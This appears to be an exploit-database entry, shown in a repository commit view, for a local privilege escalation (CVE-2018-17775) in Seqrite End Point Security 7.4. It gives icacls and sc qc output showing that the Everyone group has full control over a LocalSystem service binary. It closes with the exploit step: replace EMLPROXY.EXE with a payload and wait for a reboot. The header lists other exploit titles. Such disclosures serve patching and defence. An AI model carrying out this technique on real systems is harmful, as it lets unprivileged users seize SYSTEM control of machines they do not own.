6fe17058fb
15 changes to exploits/shellcodes Microsoft Edge Chakra JIT - 'BailOutOnInvalidatedArrayHeadSegment' Check Bypass Microsoft Edge Chakra JIT - Type Confusion Seqrite End Point Security 7.4 - Privilege Escalation Free MP3 CD Ripper 2.8 - '.wma' Buffer Overflow (SEH) (DEP Bypass) 360 3.5.0.1033 - Sandbox Escape ghostscript - executeonly Bypass with errorhandler Setup ifwatchd - Privilege Escalation (Metasploit) FTPShell Server 6.80 - 'Add Account Name' Buffer Overflow (SEH) Delta Electronics Delta Industrial Automation COMMGR 1.08 - Stack Buffer Overflow (Metasploit) Wikidforum 2.20 - 'select_sort' SQL Injection Wikidforum 2.20 - 'message_id' SQL Injection Monstra 3.0.4 - Cross-Site Scripting
65 lines
No EOL
3.4 KiB
Text
65 lines
No EOL
3.4 KiB
Text
# Exploit Title: Seqrite End Point Security 7.4 - Privilege Escalation
|
|
# Date: 2018-09-13
|
|
# Exploit Author: Hashim Jawad - @ihack4falafel
|
|
# Vendor Homepage: https://www.seqrite.com/
|
|
# Tested on: Windows 7 Enterprise SP1 (x64)
|
|
# CVE: CVE-2018-17775
|
|
|
|
# Description:
|
|
# Seqrite End Point Security v7.4 installs by default to "C:\Program Files\Seqrite\Seqrite"
|
|
# with very weak folder permissions granting any user full permission "Everyone: (F)"
|
|
# to the contents of the directory and it's subfolders. In addition, the program installs handful
|
|
# of services with binaries within the program folder that run as "LocalSystem". Given
|
|
# the "Self Protection" feature (on by default) is disabled which can be done in number of ways
|
|
#(for instance, if the policy does not enforce EPS client password to change the settings any user
|
|
# can disable that feature), meaning a non-privileged user would be able to
|
|
# elevate privileges to "NT AUTHORITY\SYSTEM".
|
|
|
|
# PoC
|
|
|
|
c:\>icacls "c:\Program Files\Seqrite\Seqrite"
|
|
c:\Program Files\Seqrite\Seqrite Everyone:(OI)(IO)(F)
|
|
Everyone:(CI)(F)
|
|
NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
|
|
NT AUTHORITY\SYSTEM:(I)(F)
|
|
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
|
|
BUILTIN\Administrators:(I)(F)
|
|
BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
|
|
BUILTIN\Users:(I)(RX)
|
|
BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
|
|
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
|
|
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
|
|
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)
|
|
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
|
|
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)
|
|
|
|
Successfully processed 1 files; Failed processing 0 files
|
|
|
|
c:\>sc qc "Core Mail Protection"
|
|
|
|
[SC] QueryServiceConfig SUCCESS
|
|
SERVICE_NAME: Core Mail Protection
|
|
TYPE : 10 WIN32_OWN_PROCESS
|
|
START_TYPE : 2 AUTO_START
|
|
ERROR_CONTROL : 1 NORMAL
|
|
BINARY_PATH_NAME : "C:\Program Files\Seqrite\Seqrite\EMLPROXY.EXE"
|
|
LOAD_ORDER_GROUP :
|
|
TAG : 0
|
|
DISPLAY_NAME : Core Mail Protection
|
|
DEPENDENCIES :
|
|
SERVICE_START_NAME : LocalSystem
|
|
|
|
c:\>icacls "C:\Program Files\Seqrite\Seqrite\EMLPROXY.EXE"
|
|
C:\Program Files\Seqrite\Seqrite\EMLPROXY.EXE Everyone:(I)(F)
|
|
NT AUTHORITY\SYSTEM:(I)(F)
|
|
BUILTIN\Administrators:(I)(F)
|
|
BUILTIN\Users:(I)(RX)
|
|
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
|
|
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
|
|
|
|
Successfully processed 1 files; Failed processing 0 files
|
|
c:\>
|
|
|
|
# Exploit:
|
|
|
|
Simply replace "EMLPROXY.EXE" with your preferred payload and wait for execution upon reboot. |